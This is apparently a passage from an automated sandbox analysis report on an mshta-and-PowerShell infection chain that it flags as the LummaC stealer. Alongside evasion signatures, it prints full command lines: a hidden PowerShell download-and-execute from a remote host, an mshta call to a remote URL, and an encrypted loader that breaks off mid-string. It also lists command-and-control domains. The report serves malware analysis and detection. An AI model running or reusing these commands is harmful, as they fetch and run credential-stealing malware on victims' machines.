Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1909	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1599	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4907	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1400	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4127	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5605	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7140	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6924	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`;
Source: mshta.exe, 00000002.00000002.1822735275.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1803612223.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn1
Source: mshta.exe, 00000002.00000002.1822900003.000001FD98C02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818296198.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1802308587.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.3369310364.000002979605A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.3368637691.0000029790A2B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2800133767.0000000003447000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000C.00000002.2800133767.000000000340C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0IE
Source: powershell.exe, 00000006.00000002.2676905454.0000000007A90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_0043C1F0 LdrInitializeThunk,

12_2_0043C1F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_2996.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_7176.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7176, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))"

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: powershell.exe	String found in binary or memory: rapeflowwj.lat
Source: powershell.exe	String found in binary or memory: crosshuaht.lat
Source: powershell.exe	String found in binary or memory: sustainskelet.lat
Source: powershell.exe	String found in binary or memory: aspecteirs.lat
Source: powershell.exe	String found in binary or memory: energyaffai.lat
Source: powershell.exe	String found in binary or memory: necklacebudi.lat
Source: powershell.exe	String found in binary or memory: discokeyus.lat
Source: powershell.exe	String found in binary or memory: grannyejh.lat
Source: powershell.exe	String found in binary or memory: hushedocenahu.click

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://scrutinycheck.cash/singl7.mp4	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function esnny($mavcz){return -split ($mavcz -replace '..', '0x$& ')};$lqmb = esnny('5c3f827bac65b5d2c8965d0bbce1ed07b9b6786a8751f026d08efd0a825f531a8d091c0ecdd11b3934b46c626b865735bab41b512be15de11f5e12515f7078b31ee8399c0e805b1f986b48cd1fe4a4708fa30b93ca4f7e812ca54a8793d62d3598e2b95af0842b9c9750010609af477848f4d131b954661400575166055c03ef1b5de596cf55c542063d3f91ce19ce97925e58f6c32246a890129f4332d50885100c3526774d0074eec5d7a612d64456e89e2aad35e8f4dcb634817b8f6e0ac4fa605341c50069355f250adb57d33d199e78edcf80294758e47cb522edfffe73cc1b919ef16af41e32f5b6a9bf909ae30ceb1071e2d14015fb77f6298ff2b02feba7b2bee205f03cf88ff6f6bebeec0309a6d27d56500b79add62dd9d50a9590f07c9425ff02c2062f0e3444952489ce539fe357b044d8f72560487a102cc157f9e4e5b39d9c8def45655607c7a2fdb595ecbd612595fe995c4b043f8955a8f51fb018d2638c4f3a04e4ce1f6f77607e28264761f8517127e32f9f8d159565861f352d53ed7157874f263f52a7e1025a408cacc8b208e7f7776300701055fd3d6c30ca49783c822471e5b37491da64e22eca5aceae2c26465a1465f8774b5536298c89dbc028cd0ae43dba